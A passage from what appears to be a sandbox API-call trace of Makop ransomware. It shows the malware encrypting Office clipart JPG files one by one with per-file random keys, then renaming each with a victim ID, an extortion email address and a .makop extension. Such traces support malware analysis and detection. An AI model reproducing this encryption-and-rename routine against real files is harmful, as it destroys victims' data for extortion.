lpOverlapped=0x0) returned 1 [0137.644] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.645] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.645] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bef7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bef7, lpOverlapped=0x0) returned 1 [0137.647] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bf00, dwBufLen=0x1bf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bf00) returned 1 [0137.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1bf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1bf00, lpOverlapped=0x0) returned 1 [0137.650] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.650] SetEndOfFile (hFile=0xf0) returned 1 [0137.658] GetProcessHeap () returned 0x48a0000 [0137.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.658] GetProcessHeap () returned 0x48a0000 [0137.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.658] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.660] CloseHandle (hObject=0xf0) returned 1 [0137.660] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1 [0137.660] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG") returned 63 [0137.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.661] GetProcessHeap () returned 0x48a0000 [0137.661] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.661] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0137.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.665] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.665] GetProcessHeap () returned 0x48a0000 [0137.665] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.665] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.665] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.667] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.667] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17dee, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17dee, lpOverlapped=0x0) returned 1 [0137.676] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17df0, dwBufLen=0x17df0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17df0) returned 1 [0137.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17df0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17df0, lpOverlapped=0x0) returned 1 [0137.679] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.679] SetEndOfFile (hFile=0xf0) returned 1 [0137.688] GetProcessHeap () returned 0x48a0000 [0137.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.688] GetProcessHeap () returned 0x48a0000 [0137.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.688] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.690] CloseHandle (hObject=0xf0) returned 1 [0137.690] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1 [0137.690] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG") returned 63 [0137.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.692] GetProcessHeap () returned 0x48a0000 [0137.692] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.692] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0137.702] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.702] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.702] GetProcessHeap () returned 0x48a0000 [0137.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.702] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.702] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.703] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.703] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bb02, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bb02, lpOverlapped=0x0) returned 1 [0137.707] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bb10, dwBufLen=0x1bb10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bb10) returned 1 [0137.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1bb10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1bb10, lpOverlapped=0x0) returned 1 [0137.709] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.709] SetEndOfFile (hFile=0xf0) returned 1 [0137.718] GetProcessHeap () returned 0x48a0000 [0137.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.718] GetProcessHeap () returned 0x48a0000 [0137.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.718] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.721] CloseHandle (hObject=0xf0) returned 1 [0137.721] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1 [0137.721] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG") returned 63 [0137.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.722] GetProcessHeap () returned 0x48a0000 [0137.722] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.722] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.726] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.726] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.726] GetProcessHeap () returned 0x48a0000 [0137.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.726] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.726] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.727] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.727] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.727] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.727] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.728] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.728] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18888, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18888, lpOverlapped=0x0) returned 1 [0137.731] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18890, dwBufLen=0x18890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18890) returned 1 [0137.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18890, lpOverlapped=0x0) returned 1 [0137.733] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.733] SetEndOfFile (hFile=0xf0) returned 1 [0137.740] GetProcessHeap () returned 0x48a0000 [0137.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.740] GetProcessHeap () returned 0x48a0000 [0137.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.740] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.742] CloseHandle (hObject=0xf0) returned 1 [0137.742] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1 [0137.742] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG") returned 63 [0137.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.746] GetProcessHeap () returned 0x48a0000 [0137.746] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.746] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.746] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.750] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.750] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.750] GetProcessHeap () returned 0x48a0000 [0137.750] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, 